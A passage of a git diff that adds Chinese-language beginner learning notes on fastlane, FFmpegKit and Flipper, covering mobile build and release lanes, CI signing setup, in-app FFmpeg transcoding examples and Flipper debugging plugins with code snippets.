拉取,避免「每人本地一份 p12」 +- **upload_to_testflight / upload_to_app_store**:通过 App Store Connect API(`app_store_connect_api_key` 或 Apple ID 会话)上传 +- **upload_to_play_store**:用 Play Console 服务账号 JSON 上传 AAB/APK + +## 安装与项目初始化 + +官方推荐 **Bundler** 锁定 Ruby 依赖,避免系统 Ruby 冲突: + +```bash +# 项目根目录 +bundle init +echo 'gem "fastlane"' >> Gemfile +bundle install + +# 进入 iOS 或 Android 工程根目录 +bundle exec fastlane init +``` + +习惯用法: + +- 本地与 CI 统一:`bundle exec fastlane ` +- 更新:`bundle update fastlane` +- CI 第一步:`bundle install` + +平台支持:**macOS + Xcode 为 iOS 完整支持**;Linux / Windows 可跑部分 action(如 Android Gradle、spaceship API),但无法本地编 iOS。 + +## 实践案例 + +### 案例 1:iOS — TestFlight 内测完整车道 + +含测试、签名、构建号、上传与 Git 回写——接近真实团队配置: + +```ruby +default_platform(:ios) + +platform :ios do + before_all do + setup_ci if is_ci + end + + desc "单元测试 + UI 测试" + lane :test do + run_tests( + scheme: "MyApp", + devices: ["iPhone 16"], + code_coverage: true + ) + end + + desc "TestFlight Beta" + lane :beta do |options| + match(type: "appstore", readonly: is_ci) + + increment_build_number( + build_number: ENV["GITHUB_RUN_NUMBER"] + ) if ENV["GITHUB_RUN_NUMBER"] + + build_app( + scheme: "MyApp", + export_method: "app-store", + output_directory: "./build" + ) + + upload_to_testflight( + skip_waiting_for_build_processing: true, + changelog: "CI build #{ENV['GITHUB_SHA']&.slice(0, 7)}" + ) + + unless options[:skip_git] + commit_version_bump(message: "Bump build by fastlane") + push_to_git_remote + end + end +end +``` + +**要点解读**: + +- `setup_ci`:在 CI 上创建临时 Keychain,解决无 UI 环境下的签名 +- `match(..., readonly: is_ci)`:CI 只读拉证书,防止并发 job 改坏仓库 +- `ENV["GITHUB_RUN_NUMBER"]`:与 GitHub Actions 构建号对齐,避免重复 build number +- `skip_waiting_for_build_processing`:上传后不阻塞等 Apple 处理(往往要十几分钟) + +运行:`bundle exec fastlane ios beta` 或 `bundle exec fastlane beta`(若已 `default_platform(:ios)`)。 + +### 案例 2:Android — Google Play Beta 轨道 + +```ruby +default_platform(:android) + +platform :android do + desc "运行 JVM 单元测试" + lane :test do + gradle( + task: "test", + project_dir: "android/" + ) + end + + desc "上传 AAB 到 Play Console beta 轨道" + lane :beta do + gradle( + task: "bundle", + build_type: "Release", + project_dir: "android/" + ) + + upload_to_play_store( + track: "beta", + aab: "android/app/build/outputs/bundle/release/app-release.aab", + skip_upload_apk: true, + skip_upload_metadata: true, + skip_upload_images: true, + skip_upload_screenshots: true + ) + end +end +``` + +Play 侧需事先在 Console 创建应用、配置 **服务账号** 并把 JSON key 路径交给 fastlane(环境变量 `SUPPLY_JSON_KEY` 或 `json_key_file` 参数)。 + +### 案例 3:match 初始化(iOS 团队签名) + +一次性(管理员机器): + +```bash +bundle exec fastlane match init +bundle exec fastlane match appstore +``` + +`Matchfile` 片段: + +```ruby +git_url("git@github.com:your-org/certificates.git") +storage_mode("git") +type("appstore") +app_identifier(["com.example.myapp"]) +``` + +团队成员与 CI 在同一 lane 里调用 `match(type: "appstore", readonly: true)` 即可同步,无需手工导入 p12。 + +## 与 CI 集成 + +fastlane 设计目标之一就是 **在 CI 服务器上无人值守跑 lane**。GitHub Actions 最小模板: + +```yaml +name: iOS Beta +on: + push: + branches: [main] + +jobs: + deploy: + runs-on: macos-latest + steps: + - uses: actions/checkout@v4 + - uses: ruby/setup-ruby@v1 + with: + ruby-version: "3.2" + bundler-cache: true + - name: Install Apple certificate via match + env: + MATCH_PASSWORD: ${{ secrets.MATCH_PASSWORD }} + MATCH_GIT_BASIC_AUTHORIZATION: ${{ secrets.MATCH_GIT_BASIC_AUTHORIZATION }} + run: bundle exec fastlane match appstore --readonly + - name: Beta lane + env: + APP_STORE_CONNECT_API_KEY_ID: ${{ secrets.ASC_KEY_ID }} + APP_STORE_CONNECT_API_ISSUER_ID: ${{ secrets.ASC_ISSUER_ID }} + APP_STORE_CONNECT_API_KEY_CONTENT: ${{ secrets.ASC_KEY_CONTENT }} + run: bundle exec fastlane ios beta skip_git:true +``` + +常见 CI:GitHub Actions、CircleCI、Bitrise、GitLab CI。密钥通过环境变量或 CI Secret 注入,**不要**把 p12、API Key 写进 Fastfile。 + +## 常用工具族(历史名称) + +| 工具 | 现代 action | 用途 | +|------|-------------|------| +| gym | `build_app` | Xcode 编译、导出 ipa | +| scan | `run_tests` | 跑 XCTest / XCUITest | +| snapshot | `capture_screenshots` | 多语言多设备截屏 | +| match | `match` | 证书与描述文件 Git 同步 | +| pilot | `upload_to_testflight` | 上传 TestFlight | +| deliver | `upload_to_app_store` | 元数据 + 二进制提交审核 | +| supply | `upload_to_play_store` | Google Play 上传 | + +## 插件与扩展 + +内置 action 不够用时,社区 **fastlane plugin** 可扩展(如 Firebase App Distribution、pgyer 内测等): + +```bash +bundle exec fastlane add_plugin firebase_app_distribution +``` + +`fastlane/Pluginfile` 会记录 gem 依赖;lane 内直接调用插件提供的 action 名。 + +## 踩坑与最佳实践 + +1. **一定用 Bundler**:`gem install fastlane` 全局装容易和系统 Ruby、CocoaPods 冲突 +2. **CI 与本地同一套 lane**:避免「CI 专用脚本」分叉;用 `is_ci` / `Helper.ci?` 分支细节 +3. **App Store Connect API Key 优于 Apple ID 密码**:支持 2FA、适合 CI,无需会话 cookie +4. **Android 用 AAB 而非 APK 上架**:`bundle` task + `upload_to_play_store` 传 aab 路径 +5. **lane 要幂等与可重试**:上传失败时,考虑 `increment_build_number` 是否已提交,避免重复 bump +6. **敏感信息**:`match` 加密密码、`MATCH_PASSWORD`、Play JSON、ASC API Key 全部走 Secret +7. **opt_out_usage**:若需关闭匿名使用统计,在 Fastfile 顶部加 `opt_out_usage` 或设 `FASTLANE_OPT_OUT_USAGE` + +## 与相邻工具对比 + +| 维度 | fastlane | Xcode Cloud | EAS (Expo) | Gradle Play Publisher | +|------|----------|-------------|------------|------------------------| +| 平台 | iOS + Android + macOS | 主要 iOS | RN / Expo 生态 | 仅 Android | +| 运行位置 | 本地 Mac / 任意 CI | Apple 云 | Expo 云 | CI / 本地 | +| 配置 | Ruby Fastfile | Xcode 工作流 UI | eas.json | Gradle 插件 | +| 签名 | match 等 | Apple 托管 | EAS 托管凭证 | Play 服务账号 | +| 适合 | 原生或多端统一发布脚本 | 纯 Apple 栈、少运维 | RN 快速迭代 | 纯 Android 管线 | + +很多团队 **Xcode Cloud / EAS 负责构建,fastlane 负责上传与元数据**——按团队边界拆分即可。 + +## 学习路径建议 + +1. 在现有 App 根目录 `bundle exec fastlane init`,选 Manual,先写 `lane :test` 调 `run_tests` 或 `gradle test` +2. 读官方 [Actions 列表](https://docs.fastlane.tools/actions/),把手工步骤映射成 action 序列 +3. 引入 `match` 统一 iOS 签名,再接入一条 CI `beta` lane +4. 需要截屏审核素材时再加 `capture_screenshots`(snapshot) +5. 查阅 [GitHub Actions 集成文档](https://docs.fastlane.tools/best-practices/continuous-integration/github/) 对齐 Secret 命名 + +## 进一步阅读 + +- 官方文档:https://docs.fastlane.tools/ +- 概念:Fastfile、Lanes、Actions — https://docs.fastlane.tools/ +- 源码与 issue:https://github.com/fastlane/fastlane +- App Store Connect API:https://developer.apple.com/app-store-connect/api/ +- Google Play Developer API(supply):https://developers.google.com/android-publisher + +--- + +*本篇为 pipeline-v3 生成的零基础学习笔记;分类字段由 `node scripts/classify-notes.mjs --apply --area=projects` 自动维护。* diff --git a/src/content/docs/projects/ffmpeg-kit.md b/src/content/docs/projects/ffmpeg-kit.md new file mode 100644 index 000000000..a8645b493 --- /dev/null +++ b/src/content/docs/projects/ffmpeg-kit.md @@ -0,0 +1,348 @@ +--- +title: FFmpegKit — 在 App 里跑 FFmpeg 的「随身剪辑台」 +来源: https://github.com/arthenica/ffmpeg-kit +日期: 2026-06-13 +子分类: 嵌入式 +分类: 操作系统 +provenance: pipeline-v3 +--- + +## 日常类比:把专业剪辑软件装进手机 App + +想象你在手机里做短视频 App:用户上传一段 4K 视频,你要**压缩、裁切、加水印、混音、烧字幕**,最后导出 MP4。桌面端有 [[ffmpeg]] 这条命令行「瑞士军刀」,但手机 App 不能指望用户装终端、也不能随便 `fork` 一个 shell 进程。 + +**FFmpegKit 做的事,相当于在 App 里内置一台「随身剪辑台」**:底层仍是 FFmpeg 原生库,外面包一层各平台统一的 API(Java / Objective-C / Dart / JavaScript / C++),让你在 Android、iOS、Flutter、React Native 里直接写: + +```text +-i input.mp4 -vf scale=720:-2 -c:v libx264 output.mp4 +``` + +不用自己交叉编译 FFmpeg、不用处理 JNI/FFI、不用啃 C 头文件。项目地址:[arthenica/ffmpeg-kit](https://github.com/arthenica/ffmpeg-kit),曾替代 MobileFFmpeg、flutter_ffmpeg、react-native-ffmpeg,GitHub 约 5.8k Stars。 + +**重要现状(2025 年起)**:官方已宣布 **FFmpegKit 退役(retired)**,仓库于 2025-06-23 归档只读,Maven/CocoaPods/pub/npm 上的预编译包也按版本分批下架。学习它仍有价值——大量存量 App、社区 fork 和「移动端如何封装 FFmpeg」的设计模式都建立在 FFmpegKit 之上;新项目需评估社区维护 fork 或自建 native 绑定。 + +--- + +## 解决什么问题 + +### 痛点 1:在移动端自己编译 FFmpeg 是地狱模式 + +FFmpeg 依赖链长(x264、libvpx、openssl…),Android 要配 NDK + ABI,iOS 要配 Xcode + bitcode/XCFramework,改一个 `--enable-*` 就要重编数小时。FFmpegKit 提供 **8 种预编译包**(min / https / audio / video / full 及对应 `-gpl` 变体),按功能选依赖体积。 + +### 痛点 2:命令行工具不适合直接嵌进 UI 线程 + +原生 `ffmpeg` 是阻塞式 CLI。FFmpegKit 用 **Session(会话)** 模型:每次 `execute` 创建会话,可同步等待,也可异步 + 日志/进度回调,还能 `cancel(sessionId)` 中断转码——这对「带进度条的导出」至关重要。 + +### 痛点 3:平台差异(SAF、摄像头、硬件编码) + +- Android 10+ 分区存储:通过 `FFmpegKitConfig.getSafParameterForRead/Write` 把 SAF Uri 转成 FFmpeg 可读路径。 +- iOS/macOS:可用 `avfoundation` 输入设备访问摄像头/麦克风,`VideoToolbox` 做硬件 H.264。 +- 各平台字体目录、信号处理(Unity/Mono 需 `ignoreSignal`)都有封装。 + +### 痛点 4:探针与转码要同一套运行时 + +除了 `FFmpegKit.execute`,还有 `FFprobeKit` 跑 ffprobe,以及 `getMediaInformation()` 直接拿结构化元数据(时长、码率、流信息),避免自己解析 JSON。 + +--- + +## 核心概念 + +### 1. FFmpegKit vs FFmpeg + +| 层次 | 是什么 | 你通常怎么用 | +|------|--------|--------------| +| **FFmpeg** | C 写的多媒体处理引擎 | 桌面/服务器命令行 | +| **FFmpegKit** | 预编译 FFmpeg + 跨平台封装库 | App 内 `execute("-i ...")` | +| **Session** | 一次命令执行的上下文 | 查 returnCode、logs、statistics | + +FFmpegKit **不发明新滤镜语法**;你仍写标准 FFmpeg 参数,只是执行环境从 shell 变成 App 进程内的 native 库。 + +### 2. 八种预编译包(Package) + +按「功能 vs 包体积 vs 许可证」选型: + +| 包名 | 典型场景 | 备注 | +|------|----------|------| +| `min` | 仅基础转封装、简单滤镜 | 最小体积 | +| `https` | 拉取 HTTPS 远程流 | 含 gmp、gnutls | +| `audio` | 转 MP3/AAC/Opus 等 | 音频编解码器集 | +| `video` | 字幕、VP9、WebP、字体 | 无 GPL 编解码器 | +| `full` | 通用音视频处理 | 非 GPL 外部库较全 | +| `*-gpl` | 需要 **libx264/x265** 等 | 整包 GPL,分发需注意合规 | + +默认 **LGPL 3.0**;启用 GPL 库后整包视为 GPL。专利敏感地区使用 x264/x265 前建议做法务评估(项目 Wiki 有 Patent 说明)。 + +### 3. Session 生命周期 + +每次 `FFmpegKit.execute(...)` 或 `executeAsync(...)` 产生一个 **FFmpegSession**: + +```text +创建 → RUNNING → COMPLETED(成功/失败/取消) +``` + +可从 session 读取: + +- `sessionId`:唯一 ID,用于 `FFmpegKit.cancel(id)` +- `returnCode`:`ReturnCode.isSuccess()` 判断是否成功 +- `output` / `getLogs()`:控制台输出 +- `getStatistics()`:转码进度(帧数、时间、比特率等),驱动 UI 进度条 +- `duration`、`startTime`、`endTime`:性能与埋点 + +**同步**适合短命令(探针、截一张图);**异步 + StatisticsCallback** 适合长转码,避免阻塞 UI。 + +### 4. Main Release vs LTS Release + +两套发布线: + +- **Main**:最新 SDK(Android API 24+)、摄像头、VideoToolbox、XCFramework。 +- **LTS**:兼容老设备(Android API 16、旧 iOS),部分能力裁剪(如 LTS 上无 VideoToolbox)。 + +老项目维护选 LTS;新功能开发选 Main。 + +### 5. 支持平台与 API 表面 + +| 平台 | API 语言 | 依赖示例 | +|------|----------|----------| +| Android | Java/Kotlin | `com.arthenica:ffmpeg-kit-full:6.0-2` | +| iOS/macOS/tvOS | Objective-C / Swift 桥接 | CocoaPods `ffmpeg-kit-ios-full` | +| Flutter | Dart | `ffmpeg_kit_flutter_full` | +| React Native | TypeScript | `ffmpeg-kit-react-native` | +| Linux | C++ | 本地构建脚本 `linux.sh` | + +各语言 API **能力对齐**:execute、executeAsync、FFprobe、MediaInformation、cancel、全局 log/statistics 回调。 + +### 6. 与纯 FFmpeg CLI 的能力边界 + +FFmpegKit 额外提供: + +- 并发多 Session(注意内存与 CPU) +- 平台 SAF / 字体目录注册 +- 结构化 `MediaInformation`(v5.1+ 重构了 property API) + +仍 **不支持** 把 FFmpeg 变成无代码 UI 组件——滤镜、编码参数仍需你懂 FFmpeg 命令。 + +--- + +## 代码示例 + +### 示例 1:Android — 同步转码 + 判断结果 + +`build.gradle` 引入 full 包后: + +```kotlin +import com.arthenica.ffmpegkit.FFmpegKit +import com.arthenica.ffmpegkit.ReturnCode + +fun transcodeToMpeg4(inputPath: String, outputPath: String): Boolean { + val cmd = "-y -i $inputPath -c:v mpeg4 -q:v 5 $outputPath" + val session = FFmpegKit.execute(cmd) + + return when { + ReturnCode.isSuccess(session.returnCode) -> true + ReturnCode.isCancel(session.returnCode) -> { + // 用户或 FFmpegKit.cancel() 中断 + false + } + else -> { + android.util.Log.e( + "FFmpegKit", + "state=${session.state} rc=${session.returnCode} ${session.failStackTrace}" + ) + false + } + } +} +``` + +要点: + +- `-y` 覆盖输出,避免交互式询问(移动端无 stdin)。 +- `ReturnCode` 三分:成功 / 取消 / 失败,别只判 null。 +- 失败时读 `failStackTrace` 和 `output`,比只看 returnCode 好排查。 + +### 示例 2:Flutter — 异步转码 + 进度回调 + +`pubspec.yaml`: + +```yaml +dependencies: + ffmpeg_kit_flutter_full: ^6.0.3 +``` + +Dart 代码: + +```dart +import 'package:ffmpeg_kit_flutter_full/ffmpeg_kit.dart'; +import 'package:ffmpeg_kit_flutter_full/ffmpeg_kit_config.dart'; +import 'package:ffmpeg_kit_flutter_full/return_code.dart'; +import 'package:ffmpeg_kit_flutter_full/statistics.dart'; + +Future compressVideo({ + required String input, + required String output, + void Function(double progress)? onProgress, +}) async { + // 720p + H.264,音频 copy(需 full-gpl 才有 libx264;此处示例用 mpeg4) + final command = + '-y -i "$input" -vf scale=1280:-2 -c:v mpeg4 -b:v 2M -c:a copy "$output"'; + + final completer = Completer(); + + await FFmpegKit.executeAsync( + command, + (session) async { + final code = await session.getReturnCode(); + completer.complete(ReturnCode.isSuccess(code)); + }, + null, + (Statistics stats) { + // time 为毫秒(v6 起为 double) + final ms = stats.getTime(); + onProgress?.call(ms / 1000.0); // 简化:用已处理时长作指示 + }, + ); + + return completer.future; +} +``` + +要点: + +- `executeAsync` 四参数:完成回调、日志回调(可 null)、统计回调。 +- 长任务务必异步,在统计回调里更新 `CircularProgressIndicator`。 +- 需要 **libx264** 时换 `ffmpeg_kit_flutter_full_gpl` 包,命令里 `-c:v libx264`。 + +### 示例 3:用 FFprobe 读媒体信息(跨平台思路) + +不必手写 `ffprobe -print_format json`,可用高级 API: + +```java +// Android / 同类 API 在 Apple、Flutter 上同名 +MediaInformationSession session = + FFprobeKit.getMediaInformation("/path/to/video.mp4"); +MediaInformation info = session.getMediaInformation(); +if (info != null) { + String duration = info.getDuration(); // 秒,字符串 + String bitrate = info.getBitrate(); + // v5.1+:getProperty("format", "nb_streams") 等 +} +``` + +适合上传前校验:是否超过时长上限、是否含音频轨、分辨率是否超限。 + +### 示例 4:Android SAF — 用户从文件选择器选视频 + +```java +Uri safUri = intent.getData(); +String input = FFmpegKitConfig.getSafParameterForRead(context, safUri); +String output = context.getCacheDir() + "/export.mp4"; +FFmpegKit.executeAsync( + "-i " + input + " -c:v mpeg4 " + output, + session -> { /* 完成 */ }, + log -> { }, + statistics -> { } +); +``` + +没有 SAF 转换,FFmpeg 在 Android 10+ 上经常 **Permission denied**。 + +--- + +## 常见 FFmpeg 命令模板(在 FFmpegKit 里原样使用) + +```bash +# 提取音频为 AAC +-i video.mp4 -vn -c:a aac -b:a 128k audio.m4a + +# 截取 10~30 秒 +-ss 10 -t 20 -i input.mp4 -c copy clip.mp4 + +# 烧录 SRT 字幕(需 video/full 包,libass) +-i video.mp4 -vf subtitles=sub.srt -c:a copy out.mp4 + +# 双路输出缩略图 +-i input.mp4 -ss 00:00:05 -vframes 1 thumb.jpg + +# HTTPS 拉流(需 https 包) +-i https://example.com/live.m3u8 -c copy -t 60 record.ts +``` + +在 App 里把路径换成沙盒目录或 SAF 参数;URL 注意证书与 GPL/https 包是否启用。 + +--- + +## 架构一图流 + +```text +┌─────────────────────────────────────────┐ +│ 你的 App(Kotlin / Swift / Dart / TS) │ +│ FFmpegKit.execute / FFprobeKit / Config │ +└──────────────────┬──────────────────────┘ + │ Session + Callbacks +┌──────────────────▼──────────────────────┐ +│ FFmpegKit Wrapper(Java/ObjC/Dart/…) │ +│ 线程池、日志重定向、统计聚合、cancel │ +└──────────────────┬──────────────────────┘ + │ JNI / FFI +┌──────────────────▼──────────────────────┐ +│ 预编译 FFmpeg + 选定的 external libs │ +│ libavcodec / libavformat / libswscale … │ +└──────────────────┬──────────────────────┘ + │ + 文件系统 / SAF / AVFoundation / MediaCodec +``` + +--- + +## 学习路径建议(零基础) + +1. **先在桌面练 FFmpeg 命令**(30 分钟):用官方 ffmpeg 对同一文件做 scale、截取、转码,确认参数有效。 +2. **跑官方 Test App**:[ffmpeg-kit-test](https://github.com/arthenica/ffmpeg-kit-test) 各平台 Demo 一致,可看命令执行、并发、SAF 页。 +3. **选最小包集成**:从 `min` 或 `video` 开始,确认 execute 通路,再按需升级到 `full` / `full-gpl`。 +4. **先同步后异步**:短命令同步调通,再加 Statistics 回调。 +5. **查许可证**:上架前确认 LGPL/GPL 义务与 x264 专利风险。 + +--- + +## 与其他方案对比 + +| 方案 | 优点 | 缺点 | +|------|------|------| +| **FFmpegKit** | 多平台预编译、Session API 成熟、文档全 | 官方已退役,二进制下架 | +| **自编译 FFmpeg + JNI** | 完全可控、版本自选 | 维护成本极高 | +| **云端转码(S3 + Lambda/自建)** | App 轻、算力弹性 | 延迟、流量费、隐私 | +| **平台原生 API(AVAssetExportSession 等)** | 系统优化、合规简单 | 功能远少于 FFmpeg | +| **社区 fork(Maven/pub 搜 ffmpeg-kit)** | 延续预编译便利 | 需审计维护者与更新节奏 | + +--- + +## 常见问题 + +**Q:FFmpegKit 还能用于新项目吗?** +官方不再发布;可锁定历史版本、迁移社区 fork,或评估自维护 native 层。学习架构仍推荐读源码与 Wiki。 + +**Q:转码很慢怎么办?** +优先硬件编码(iOS `h264_videotoolbox`、Android `h264_mediacodec`),降低分辨率与帧率,避免在 UI 线程同步 execute。 + +**Q:命令在桌面 ffmpeg 成功,在 App 里失败?** +常见原因:路径无读权限、缺编码器(包太小)、GPL 编解码器未用 `-gpl` 包、输出目录不可写。 + +**Q:如何显示百分比进度?** +用 `Statistics` 的 `time` 与 `MediaInformation` 里的总时长估算;或解析 `speed=` 日志。FFmpeg 本身不总给精确百分比。 + +**Q:和 [[vlc]] / ExoPlayer 关系?** +播放器负责**解码播放**;FFmpegKit 侧重**离线处理管道**(转码、剪辑、混流)。可组合:FFmpegKit 导出 → ExoPlayer 播放。 + +--- + +## 小结 + +FFmpegKit 把「在服务器上跑的一条 ffmpeg 命令」搬到了 **手机、桌面、跨平台框架**里,用 Session、回调和预编译包屏蔽了 mobile 上最痛苦的编译与集成问题。核心记忆点: + +1. **它还是 FFmpeg**——学会命令比学会 API 更重要。 +2. **按包选型**——min/https/audio/video/full/gpl 决定体积与能力。 +3. **Session 模型**——同步、异步、cancel、statistics 四条线理清。 +4. **平台细节**——SAF、字体、摄像头、硬件编码别忽略。 +5. **项目已退役**——学习价值在架构与存量维护,生产选型要另做供应链评估。 + +进一步阅读:[Wiki API](https://github.com/arthenica/ffmpeg-kit/wiki/API)、[Android 集成](https://github.com/arthenica/ffmpeg-kit/wiki/Android)、[退役说明](https://medium.com/@tanersener/saying-goodbye-to-ffmpegkit-33ae939767e1)、上游 [[ffmpeg]] 文档。 diff --git a/src/content/docs/projects/flipper.md b/src/content/docs/projects/flipper.md new file mode 100644 index 000000000..4e3d643f1 --- /dev/null +++ b/src/content/docs/projects/flipper.md @@ -0,0 +1,256 @@ +--- +title: Flipper — Meta 出品的移动应用桌面调试平台 +来源: https://github.com/facebook/flipper +日期: 2026-06-13 +子分类: 移动端 +分类: 后端 API +provenance: pipeline-v3 +--- + +## 是什么 + +**Flipper** 是 Meta 开源的**移动应用调试平台**:在电脑上用图形界面查看、检查、甚至操控正在真机或模拟器上运行的 iOS / Android App。官方仓库 [facebook/flipper](https://github.com/facebook/flipper)(13k+ stars,MIT)。 + +日常类比: + +> 修汽车时,你不会只靠司机口头描述「发动机有点怪」——你会接 OBD 诊断仪,看转速、油耗、故障码。 +> 移动端开发也一样:App 里网络失败、布局错位、数据库写不进去,光在 `console.log` 里翻字符串很痛苦。 +> **Flipper 就是手机 App 的「OBD 仪」**:电脑上一块面板,实时看日志、抓 HTTP、点选 UI 树、翻 SQLite,还能装插件扩展能力。 + +架构上它拆成两半,像对讲机: + +| 部件 | 跑在哪 | 干什么 | +|------|--------|--------| +| **Desktop / Server** | 你的 Mac / Linux / Windows(或浏览器) | 展示 UI、装插件、发指令 | +| **Mobile SDK** | App 进程里(仅 Debug 构建) | 采集数据、执行 Desktop 下发的命令 | + +两端通过本地网络(ADB / IDB / Metro)通信;Flipper 负责序列化、路由和插件生命周期,你不用自己造 socket 协议。 + +## 为什么重要 + +如果你做 **原生 iOS/Android** 或维护 **React Native 0.62–0.69 时代** 的项目,Flipper 曾是事实上的标配调试台。不理解它,这些问题很难高效排查: + +- **网络层**:请求发出去了吗?Header / Body 对不对?是证书问题还是 401?Network 插件比 Charles 更贴近 App 进程,且和布局、日志同屏。 +- **UI 层**:「这个按钮为什么偏了 8px?」Layout Inspector 直接在原生视图树上点选,比截图量像素靠谱。 +- **存储层**:UserDefaults、SharedPreferences、Room / SQLite 里到底写了什么?不用 adb shell 手工 `sqlite3`。 +- **可扩展**:团队可以写**自定义插件**——把业务埋点、功能开关、Mock 服务器嵌进 Flipper,新人 onboarding 时不用背一堆 adb 命令。 + +需要知道的**现状(2024 起)**: + +1. **Electron 桌面版停更**:最后带 Electron 安装包的是 [v0.239.0](https://github.com/facebook/flipper/releases/tag/v0.239.0);之后官方推浏览器版 `npx flipper-server` 或从源码 `yarn start`。 +2. **React Native 官方支持冻结在同一版本**:RN 的 React DevTools、Hermes Debugger 等插件在 v0.239.0 之后不再维护;Meta 正在做新的 RN 专用工具链。学 Flipper 仍有价值(原生 Android/iOS、插件架构思想、老项目维护),但**新项目不要把它当 RN 默认方案**。 + +## 核心概念 + +### 1. 设备(Device)与 App 是两层连接 + +连上 Flipper 后,侧边栏里常见**两类「设备」**(RN 场景尤其明显): + +- **React Native 设备**:连的是本机 **Metro** bundler,提供 Reload、Open Dev Menu、Metro Logs、React DevTools 等。 +- **真机 / 模拟器设备**:通过 **ADB**(Android)或 **IDB**(iOS)连到跑 App 的进程,承载 Layout、Network、Database 等**原生级**插件。 + +排查「插件不出现」时,先确认工具栏选中的是**哪一台设备**——很多坑是插件装在原生侧,却盯着 Metro 那一行。 + +### 2. 插件(Plugin)是一等公民 + +Flipper 不是单个工具,而是**插件宿主**: + +- **内置插件**:Logs、Layout Inspector、Network、Databases、Images、Crash Reporter、Shared Preferences 等。 +- **桌面插件**:在 Flipper UI 里渲染面板(TypeScript + React)。 +- **客户端插件**:嵌在 App 里(Java / Kotlin / Objective-C / Swift / JavaScript),通过 `FlipperClient` 注册,把数据 `send` 到桌面。 + +数据流可以记成: + +```text +App 内 Client Plugin --send--> Flipper Desktop Plugin --render--> 开发者 + ^ | + +-------- receive / call -----+ +``` + +### 3. 仅 Debug 构建 + +Release 包**不应**也**不会**默认带 Flipper SDK——初始化代码通常放在 `src/debug/` 或通过 `FlipperUtils.shouldEnableFlipper()` 守卫。这既减小包体,也避免生产环境被误连调试器。 + +### 4. 版本对齐 + +Desktop 与 App 内 **Flipper SDK 版本**应对齐(如 `FLIPPER_VERSION=0.273.0` 与 Podfile 里 `FlipperKit` 版本一致)。版本错位时常见症状:设备列表为空、插件面板一直 Loading。 + +## 安装与启动 + +**最快体验(浏览器版,官方当前推荐路径)**: + +```bash +# 需要 Node >= 18;本机已配置 Android SDK / adb 或 Xcode 模拟器 +npx flipper-server +``` + +浏览器会打开 Flipper UI。macOS 也可 `brew install --cask flipper` 安装运行时(仍会打开浏览器)。 + +**Android 侧前置**:模拟器或 USB 调试已开启,`adb devices` 能看到设备。 + +**iOS 侧前置**:模拟器或真机已信任,`idb` / Xcode 工具链可用。 + +## 实践案例 + +### 案例 1:React Native 项目启用 Flipper(0.62+ 模板默认已集成) + +RN 0.62 起 `react-native init` 生成的工程**默认带 Flipper**(仅 Debug)。典型工作流: + +```bash +# 终端 1:启动 Flipper(或 npx flipper-server) +open -a Flipper # 若仍使用 v0.239.0 Electron 包 + +# 终端 2:跑 App +cd MyApp +yarn ios # 或 yarn android;首次 iOS 需在 ios/ 下 pod install +``` + +连上后默认可用插件包括:Layout Inspector、Network、Databases、Images、Shared Preferences、Crash Reporter、React DevTools、Metro Logs。 + +**升级 SDK 版本**(与 Desktop 对齐)——Android 在 `android/gradle.properties`: + +```properties +# 与 npm info flipper 查到的最新版保持一致(RN < 0.69 需注意兼容矩阵) +FLIPPER_VERSION=0.273.0 +``` + +然后在 `android/` 目录执行 `./gradlew clean`,重新编译 Debug 包。 + +iOS(RN ≥ 0.69)在 `ios/Podfile` 片段: + +```ruby +use_react_native!( + :path => config[:reactNativePath], + :flipper_configuration => FlipperConfiguration.enabled( + ['Debug'], + { 'Flipper' => '0.273.0' } + ) +) +``` + +执行 `pod install --repo-update` 后重装 App。 + +### 案例 2:Android 原生 App 注册 Flipper 客户端(Debug 专用) + +官方推荐把 Flipper 初始化放在 `src/debug/java/...`,避免打进 Release。Kotlin 示例(摘自 RN Android 手动集成文档的简化版): + +```kotlin +// src/debug/java/com/example/ReactNativeFlipper.kt +package com.example + +import android.content.Context +import com.facebook.flipper.android.AndroidFlipperClient +import com.facebook.flipper.android.utils.FlipperUtils +import com.facebook.flipper.plugins.inspector.DescriptorMapping +import com.facebook.flipper.plugins.inspector.InspectorFlipperPlugin +import com.facebook.react.ReactInstanceManager + +object ReactNativeFlipper { + fun initializeFlipper(context: Context, reactInstanceManager: ReactInstanceManager) { + if (FlipperUtils.shouldEnableFlipper(context)) { + val client = AndroidFlipperClient.getInstance(context) + client.addPlugin( + InspectorFlipperPlugin(context, DescriptorMapping.withDefaults()) + ) + // 还可 addPlugin:NetworkFlipperPlugin、DatabasesFlipperPlugin 等 + client.start() + } + } +} +``` + +`MainApplication.onCreate()` 里仅在 Debug 反射调用(这样 release 源码树甚至不需要这个类): + +```java +if (BuildConfig.DEBUG) { + try { + Class flipperClass = Class.forName("com.example.ReactNativeFlipper"); + flipperClass + .getMethod("initializeFlipper", Context.class, ReactInstanceManager.class) + .invoke(null, this, getReactNativeHost().getReactInstanceManager()); + } catch (Exception e) { + e.printStackTrace(); + } +} +``` + +启动模拟器 → 运行 Debug 包 → 打开 Flipper → 左侧选中设备 → 点 **Layout** 即可在 UI 树上点选 View。 + +### 案例 3:用 JavaScript 写 RN 自定义插件 + +无需写原生代码即可把业务数据推到 Flipper 面板。App 侧安装 `react-native-flipper` 后: + +```javascript +// App.tsx 或 debug-only 入口 +import { addPlugin } from 'react-native-flipper'; + +addPlugin({ + getId() { + return 'MyTeamFeatureFlags'; + }, + onConnect(connection) { + // Desktop 插件连上时,把当前功能开关快照推过去 + connection.send('flagsSnapshot', { + newCheckout: true, + darkModeExperiment: false, + }); + + connection.receive('setFlag', (payload) => { + // 接收 Desktop 发来的指令,例如强制打开某开关做 QA + console.log('Flipper set flag:', payload.name, payload.value); + }); + }, + onDisconnect() { + // 桌面关闭插件 tab 时清理 + }, +}); +``` + +桌面侧需要配套插件(TypeScript),`getId()` 与 `devicePlugin` 的 id 一致。官方教程仓库里有 **Tic-Tac-Toe** 示例:`react-native/ReactNativeFlipperExample` + `desktop/plugins/public/rn-tic-tac-toe`,演示 `connection.send` / `receive` 双向通信。 + +## 内置插件速查 + +| 插件 | 用途 | +|------|------| +| **Logs** | 过滤、搜索 Logcat / OSLog,比终端滚动舒服 | +| **Layout Inspector** | 原生视图树、属性、截图 | +| **Network** | 拦截 App 内 HTTP(S)(需信任 Flipper 证书时按文档配置) | +| **Databases** | 浏览 SQLite 等 | +| **Shared Preferences / User Defaults** | 看键值存储 | +| **Images** | 缓存图片检查 | +| **Crash Reporter** | 崩溃栈聚合 | +| **React DevTools** | RN 组件树、props / state(仅旧版 Flipper + RN) | + +## 常见问题 + +1. **侧边栏没有 App**:确认是 **Debug 构建**;Release 不会连上。Android 检查 `adb devices`;iOS 检查模拟器是否启动。 +2. **RN 